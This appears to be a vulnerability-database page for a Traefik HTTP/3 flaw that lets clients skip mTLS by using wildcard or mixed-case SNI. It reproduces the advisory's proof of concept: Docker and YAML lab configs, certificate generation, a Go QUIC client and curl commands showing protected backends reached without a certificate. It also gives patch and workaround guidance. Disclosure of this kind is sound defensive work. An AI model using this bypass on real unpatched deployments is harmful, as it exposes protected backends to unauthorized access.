Skip to main content

Traefik CVE-2026-53622

| EUVDEUVD-2026-38576 HIGH
Authentication Bypass Using an Alternate Path or Channel (CWE-288)
2026-06-16 https://github.com/traefik/traefik GHSA-9cr8-q42q-g8m7
7.8
CVSS 4.0 · Vendor: https://github.com/traefik/traefik
Share

Severity by source

Vendor (https://github.com/traefik/traefik) PRIMARY
7.8 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
10.0 CRITICAL

Remote unauthenticated QUIC attacker bypasses mTLS via SNI mismatch (PR:N, AC:L); scope changes to the protected backend with high confidentiality and integrity impact, no availability impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
SUSE
CRITICAL
qualitative
Red Hat
9.1 HIGH
qualitative

Primary rating from Vendor (https://github.com/traefik/traefik).

CVSS VectorVendor: https://github.com/traefik/traefik

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

6
Analysis Updated
Jun 23, 2026 - 20:30 vuln.today
v3 (cvss_changed)
Analysis Updated
Jun 23, 2026 - 20:30 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Jun 23, 2026 - 20:22 vuln.today
cvss_changed
CVSS changed
Jun 23, 2026 - 20:22 NVD
7.8 (HIGH)
Source Code Evidence Fetched
Jun 16, 2026 - 23:20 vuln.today
Analysis Generated
Jun 16, 2026 - 23:20 vuln.today

DescriptionCVE.org

Summary

There is a critical vulnerability in Traefik's HTTP/3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., *.example.com) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration - which may not require client certificates - a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP/3 is enabled, a router uses a wildcard Host rule or case-insensitive hostname matching, a router-specific TLSOptions enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker.

Patches

  • https://github.com/traefik/traefik/releases/tag/v3.7.3

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

Traefik's HTTP/3 TLS configuration selection can ignore router-specific TLSOptions and allow unauthenticated clients to bypass mTLS. The QUIC/HTTP3 path resolves TLS configuration with Router.GetTLSGetClientInfo(), which performs a direct, case-sensitive map lookup on hostHTTPTLSConfig[info.ServerName].

This is inconsistent with the later HTTP host routing semantics, where the same request host can still match wildcard or case-insensitive Host rules after the HTTP/3 TLS handshake has already fallen back to the default TLS configuration. Two exploit paths are confirmed:

  1. Host("*.example.com") with tls.options=mtls: HTTP/2 requires a client certificate, but HTTP/3 reaches the protected backend without one.
  2. Host("api.example.com") with tls.options=mtls: HTTP/2 requires a client certificate, but HTTP/3 with mixed-case SNI/Host such as API.EXAMPLE.COM reaches the protected backend without one.

Confirmed versions:

  • wildcard HTTP/3 bypass: v3.7.0, v3.7.1
  • exact-host mixed-case HTTP/3 bypass: v3.6.17, v3.7.0, v3.7.1

Details

HTTP/3 installs a QUIC TLS callback in pkg/server/server_entrypoint_tcp_http3.go:

go
h3.Server = &http3.Server{
    Addr:      config.GetAddress(),
    Port:      config.HTTP3.AdvertisedPort,
    Handler:   httpsServer.Server.(*http.Server).Handler,
    TLSConfig: &tls.Config{GetConfigForClient: h3.getGetConfigForClient},
}

The callback is wired to the TCP router's TLS selector:

go
func (e *http3server) Switch(rt *tcprouter.Router) {
    e.lock.Lock()
    defer e.lock.Unlock()

    e.getter = rt.GetTLSGetClientInfo()
}

The selector in pkg/server/router/tcp/router.go only performs an exact map lookup:

go
func (r *Router) GetTLSGetClientInfo() func(info *tls.ClientHelloInfo) (*tls.Config, error) {
    return func(info *tls.ClientHelloInfo) (*tls.Config, error) {
        if tlsConfig, ok := r.hostHTTPTLSConfig[info.ServerName]; ok {
            return tlsConfig, nil
        }

        return r.httpsTLSConfig, nil
    }
}

That creates two mismatches:

  • wildcard keys such as *.example.com are never matched for api.example.com
  • lower-case router keys such as api.example.com are not matched for mixed-case SNI such as API.EXAMPLE.COM

On the later HTTP request path, the same host can still match wildcard or case-insensitive Host rules through the muxer. The HTTP/3 TLS handshake path falls back to the default TLS config before that routing decision happens. If the default TLS config does not require a client certificate, the QUIC handshake succeeds without mTLS, and the later HTTP router still routes to the protected backend.

Preconditions:

  • HTTP/3 is enabled on the affected entrypoint.
  • A router-specific TLSOptions configuration enforces client certificate authentication.
  • The default/fallback TLS configuration does not require client certificates.
  • UDP access to the HTTP/3 entrypoint is reachable by the attacker.

Minimal wildcard dynamic configuration:

yaml
http:
  routers:
    protected:
      rule: Host(`*.example.com`)
      service: protected
      tls:
        options: mtls

  services:
    protected:
      loadBalancer:
        servers:
          - url: http://protected:80

tls:
  certificates:
    - certFile: /certs/server.crt
      keyFile: /certs/server.key

  options:
    mtls:
      clientAuth:
        caFiles:
          - /certs/ca.crt
        clientAuthType: RequireAndVerifyClientCert

Minimal exact-host dynamic configuration:

yaml
http:
  routers:
    protected:
      rule: Host(`api.example.com`)
      service: protected
      tls:
        options: mtls

  services:
    protected:
      loadBalancer:
        servers:
          - url: http://protected:80

tls:
  certificates:
    - certFile: /certs/server.crt
      keyFile: /certs/server.key

  options:
    mtls:
      clientAuth:
        caFiles:
          - /certs/ca.crt
        clientAuthType: RequireAndVerifyClientCert

Minimal Docker Compose:

yaml
services:
  traefik:
    image: traefik:v3.7.1
    command:
      - --log.level=DEBUG
      - --entrypoints.websecure.address=:8443
      - --entrypoints.websecure.http3
      - --providers.file.filename=/etc/traefik/dynamic.yml
      - --providers.file.watch=false
    ports:
      - "8443:8443/tcp"
      - "8443:8443/udp"
    volumes:
      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
      - ./certs:/certs:ro
    depends_on:
      - protected

  protected:
    image: traefik/whoami:v1.11
    command:
      - --name=PROTECTED

Certificate generation:

bash
rm -rf certs
mkdir -p certs

openssl req -x509 -newkey rsa:2048 -nodes -days 7   -keyout certs/ca.key   -out certs/ca.crt   -subj "/CN=traefik-poc-ca"

openssl req -newkey rsa:2048 -nodes   -keyout certs/server.key   -out certs/server.csr   -subj "/CN=api.example.com"   -addext "subjectAltName=DNS:api.example.com,DNS:*.example.com"

openssl x509 -req   -in certs/server.csr   -CA certs/ca.crt   -CAkey certs/ca.key   -CAcreateserial   -out certs/server.crt   -days 7   -sha256   -copy_extensions copyall

The mixed-case HTTP/3 client used for the exact-host case:

go
package main

import (
    "crypto/tls"
    "fmt"
    "io"
    "net/http"
    "os"
    "time"

    "github.com/quic-go/quic-go/http3"
)

func main() {
    serverName := os.Getenv("TLS_SERVER_NAME")
    if serverName == "" {
        serverName = "API.EXAMPLE.COM"
    }

    host := os.Getenv("HTTP_HOST")
    if host == "" {
        host = "API.EXAMPLE.COM"
    }

    tr := &http3.Transport{
        TLSClientConfig: &tls.Config{
            ServerName:         serverName,
            InsecureSkipVerify: true,
        },
    }
    defer tr.Close()

    client := &http.Client{Transport: tr, Timeout: 8 * time.Second}

    req, err := http.NewRequest(http.MethodGet, "https://127.0.0.1:8443/", nil)
    if err != nil {
        panic(err)
    }
    req.Host = host

    resp, err := client.Do(req)
    if err != nil {
        fmt.Fprintln(os.Stderr, err)
        os.Exit(1)
    }
    defer resp.Body.Close()

    fmt.Println(resp.Proto, resp.StatusCode)
    body, _ := io.ReadAll(resp.Body)
    fmt.Print(string(body))
}

PoC

Wildcard bypass:

  1. Start Traefik with the wildcard dynamic configuration above.
  2. Control over TCP/TLS:
bash
curl --noproxy '*' --http2 -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/

Observed result:

text
TLS alert ... certificate required
  1. HTTP/3 bypass:
bash
curl --noproxy '*' --http3-only -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/

Observed result:

text
HTTP/3 200
Name: PROTECTED
Host: api.example.com:8443

Exact-host mixed-case bypass:

  1. Start Traefik with the exact-host dynamic configuration above.
  2. Control over TCP/TLS:
bash
curl --noproxy '*' --http2 -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/

Observed result:

text
TLS alert ... certificate required
  1. Mixed-case HTTP/2 control:
bash
curl --noproxy '*' --http2 -skv   --resolve API.EXAMPLE.COM:8443:127.0.0.1   https://API.EXAMPLE.COM:8443/

Observed result:

text
TLS alert ... certificate required

This control confirms that the bypass is specific to the HTTP/3 TLS configuration selection path in this test setup. The HTTP/2 request to the same mixed-case hostname still fails with certificate required.

  1. HTTP/3 bypass with the same mixed-case hostname:
bash
TLS_SERVER_NAME=API.EXAMPLE.COM HTTP_HOST=API.EXAMPLE.COM   go run ./h3-case-client.go

Observed result:

text
HTTP/3.0 200
Name: PROTECTED
Host: API.EXAMPLE.COM

Local regression tests used during validation:

bash
go test ./pkg/server/router/tcp   -run 'TestGetTLSGetClientInfo_(WildcardCurrentBehavior|ExactHostCaseSensitivityCurrentBehavior)$'   -count=1

These tests were added locally during analysis to demonstrate the current behavior of GetTLSGetClientInfo(). They are not required to reproduce the issue; the Docker and curl/HTTP3 commands above are the end-to-end reproduction.

Version matrix observed with Docker images:

text
wildcard H3 bypass: affected on v3.7.0 and v3.7.1
exact-case H3 bypass: affected on v3.6.17, v3.7.0, and v3.7.1

The wildcard case was tested on v3.7.x because wildcard Host / HostSNI matching and TLSOptions association for wildcard domains were introduced in v3.7.0.

Impact

Deployments that use router TLSOptions as an access-control boundary for HTTP/3 can expose protected backends without client authentication.

The highest-impact case is mTLS:

  • normal HTTP/2/TCP access to the protected host requires a client certificate
  • HTTP/3 access to the same route falls back to the default TLS config
  • the request is then routed to the protected backend without satisfying the route's mTLS policy

This can expose confidential data or privileged backend operations to unauthenticated network clients. The issue is especially severe because it does not require credentials, user interaction, or a prior foothold.

Possible workarounds until a fix is available:

  • Disable HTTP/3 on entrypoints that rely on router-specific mTLS.
  • Enforce mTLS in the default TLS options as well, so fallback TLS configuration is not weaker than router-specific configuration.
  • Block UDP access to the HTTP/3 entrypoint.
  • Enforce client authentication at an additional layer behind Traefik.

</details>

---

AnalysisAI

mTLS bypass in Traefik v3.6.17 through v3.7.2 allows unauthenticated remote clients to reach backends protected by router-specific client-certificate policies by negotiating over HTTP/3 (QUIC). The QUIC TLS configuration selector performs only an exact, case-sensitive SNI map lookup, so wildcard host rules (e.g. *.example.com) and mixed-case SNI values fall back to the default TLS configuration, which typically does not require a client certificate, while the HTTP routing layer still dispatches the request to the protected backend. Publicly available exploit code exists in the GitHub Security Advisory GHSA-9cr8-q42q-g8m7, but there is no public exploit identified at time of analysis indicating active in-the-wild abuse.

Technical ContextAI

Traefik is a widely used Go-based cloud-native reverse proxy and ingress controller (CPEs: pkg:go/traefik, pkg:go/github.com_traefik_traefik, pkg:go/github.com_traefik_traefik_v2). The root cause is CWE-288 (Authentication Bypass Using an Alternate Path or Channel): two control planes - the QUIC TLS handshake and the HTTP router - disagree on how to canonicalize the request host. In pkg/server/router/tcp/router.go, Router.GetTLSGetClientInfo() performs hostHTTPTLSConfig[info.ServerName], an exact, case-sensitive map lookup keyed by SNI, with no wildcard expansion or lower-casing. The HTTP/3 server installs this getter as the QUIC GetConfigForClient callback in pkg/server/server_entrypoint_tcp_http3.go. When SNI is API.EXAMPLE.COM or matches a wildcard router rule, the lookup misses and falls back to the default TLS config, but the downstream HTTP muxer still resolves the same host case-insensitively / against wildcards, so the request reaches an mTLS-protected backend without any client certificate. The same TLS-selection path used by the TCP/HTTP-2 listener handles wildcards correctly, which is why only the QUIC path is vulnerable.

RemediationAI

Vendor-released patch: Traefik v3.7.3 - upgrade per the release notes at https://github.com/traefik/traefik/releases/tag/v3.7.3 and the advisory at https://github.com/traefik/traefik/security/advisories/GHSA-9cr8-q42q-g8m7, following the v3.7 migration guide before rolling out. If you cannot patch immediately, disable HTTP/3 on any entrypoint that relies on router-specific mTLS (removes QUIC-based clients but keeps HTTP/2 mTLS intact), or enforce the same mTLS clientAuthType (RequireAndVerifyClientCert) in the default TLS options so the fallback path is no weaker than the router-specific one (will break any client that legitimately used the default TLS profile without a certificate). Blocking inbound UDP to the HTTP/3 entrypoint at the firewall is an effective network-layer mitigation but kills HTTP/3 entirely for that listener. As a last-resort defense in depth, enforce client-certificate validation at the protected backend itself so that a bypass at the proxy does not translate into backend access.

CVE-2014-0160 HIGH POC
7.5 Apr 07

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

CVE-2014-0195 MEDIUM POC
6.8 Jun 05

The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2016-0800 MEDIUM POC
5.9 Mar 01

The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se

CVE-2015-0204 MEDIUM POC
4.3 Jan 09

The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k

CVE-2014-3566 LOW POC
3.4 Oct 15

The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak

CVE-2016-2107 MEDIUM POC
5.9 May 05

The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a

CVE-2015-1793 MEDIUM POC
6.5 Jul 09

The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly

CVE-2022-3602 HIGH
7.5 Nov 01

A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig

CVE-2014-3470 MEDIUM
4.3 Jun 05

The ssl3_send_client_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before

CVE-2017-3730 HIGH POC
7.5 May 04

In OpenSSL 1.1.0 before 1.1.0d, if a malicious server supplies bad parameters for a DHE or ECDHE key exchange then this

CVE-2016-8610 HIGH
7.5 Nov 13

A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL proto

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
openSUSE Tumbleweed Fixed

Share

CVE-2026-53622 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy